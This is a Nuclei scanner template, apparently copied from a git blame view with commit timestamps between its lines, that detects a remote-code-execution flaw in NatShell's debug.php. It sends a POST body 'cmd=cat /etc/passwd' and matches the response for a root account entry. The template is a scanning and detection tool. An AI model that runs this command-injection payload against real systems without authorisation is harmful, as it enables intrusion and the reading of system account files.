2021-05-28 05:42:36 +00:00
|
|
|
id: natshell-rce
|
2021-05-27 14:59:33 +00:00
|
|
|
|
|
|
|
info:
|
2021-05-28 05:42:36 +00:00
|
|
|
name: NatShell Debug File RCE
|
2021-05-27 14:59:33 +00:00
|
|
|
author: pikpikcu
|
2021-05-27 19:49:17 +00:00
|
|
|
severity: critical
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw
|
2021-05-27 14:59:33 +00:00
|
|
|
tags: natshell,rce
|
|
|
|
|
|
|
|
requests:
|
2021-05-27 19:49:17 +00:00
|
|
|
- method: POST
|
2021-05-27 14:59:33 +00:00
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/debug.php"
|
|
|
|
body: |
|
|
|
|
cmd=cat /etc/passwd
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "toor:[x*]:0:0"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|